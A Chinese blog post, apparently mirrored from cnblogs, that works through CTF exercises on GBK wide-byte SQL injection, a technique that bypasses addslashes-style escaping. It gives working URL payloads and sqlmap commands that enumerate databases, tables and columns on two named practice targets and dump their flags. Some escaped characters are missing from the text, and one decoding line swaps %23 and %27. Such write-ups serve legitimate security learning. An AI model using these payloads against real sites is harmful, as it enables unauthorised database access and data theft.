zoukankan      html  css  js  c++  java
  • CTF—WEB—sql注入之宽字节注入

     宽字节注入

    宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入进行转义而变为(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号,就会被自动转义,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时前的就被吃了,我们就可以使用了,利用这个特性从而可实施SQL注入的利用。

      GBK 占用两字节

      ASCII占用一字节

      PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。

      输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5CMYSQL识别为GBK。导致本应的%df变成%df%5C%df%5CGBK编码中没有对应,所以被当成无效字符。

      %DF’ :会被PHP当中的addslashes函数转义为%DF'” URL里的%5C,那么也就是说,%DF'会被转成%DF%5C%27倘若网站的字符集是GBKMYSQL使用的编码也是GBK的话,就会认为%DF%5C%27是一个宽字符。也就是

    例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

    其对应的sql就是:

    select * fromcms_user where username = ‘’ or 1=1 limit 1,1#’ and password=”

    URLdecode解码

    %23: ’

    %27: #

    例题:

    靶机:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

    先尝试单引号?id=1’  ?id=1%27,发现页面输出的

     引号被转义了,在前面加了一个 符号

    尝试 如果构造 那么后面的引号也就可以发挥作用了

    构造:?id=1%df%27

    报错

    再构造:?id=1%df%df%23

    查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字所以得知此题存在宽字节注入

    开始爆数据库:

    ?id=1%df%27 order by 2#  

    列数得知 2列。

    爆库:

    ?id=-1%df%27 union select 1,database()%23

    数据库:sae-chinalover

    爆列表:

    ?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23

     爆出这些表:

    ctf,ctf2,ctf3,ctf4,gbksqli,news

    爆字段:

    ?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

    字段:id flag

    查询关键字:

    ?id=-1%df%27 union select 1,flag from ctf4%23

    利用Sqlmap

    sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"

    sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"  --dbs

    跑出库

    sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  --columns

    跑字段:

     sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  -C flag --dump

    跑出flag

    例2:

    靶机:安全实验室注入关3

    http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php、

    输入payload

    ?id=1%df%27 报错 

    ?id=1%df%df%23 页面正常,存在宽字节注入

     

    爆列数

    ?id=1%df%27 order by 3%23

    ?id=1%df%27 order by 4%23

    发现只有三列:

    爆数据库名:

    ?id=1%df%27 union select 1,2,database()%23

    库名:mydbs

    爆表名:

    ?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23

    发现报错。。。可能有过滤

    那么把mydbs转成16进制:0x6d79646273 (..字符转16进制即可,要转对,有个网址16进制换是转错的。。浪费我好多时间)

    ?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23

    得出表名:sae_user_sqli4

    爆字段:

    sae_user_sqli4 ->7361655f757365725f73716c6934

    ?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23

    得出三个字段:id,title_1,content_1

    爆关键字:

    ?id=1%df%27 union select 1,group_concat(id),group_concat(content_1)  from sae_user_sqli4%23

    得到flag

  • 相关阅读:
    LG7124 [Ynoi2008] stcm【树分治,构造】
    美团杯 2021【杂题】
    UOJ455【UER #8】雪灾与外卖【反悔贪心,模拟费用流】
    js正则匹配正负小数
    iview table 自适应高度
    iview tree render 自定义右键菜单(解决部分场景下官网tree右键菜单bug)
    iTextSharp Image.ScaleToFit自适应缩放简述
    C# 从动态类型中获取集合
    Js自定义日期
    SVN代码统计工具(资源下载+使用命令)
  • 原文地址:https://www.cnblogs.com/zhaoyixiang/p/10970117.html
Copyright © 2011-2022 走看看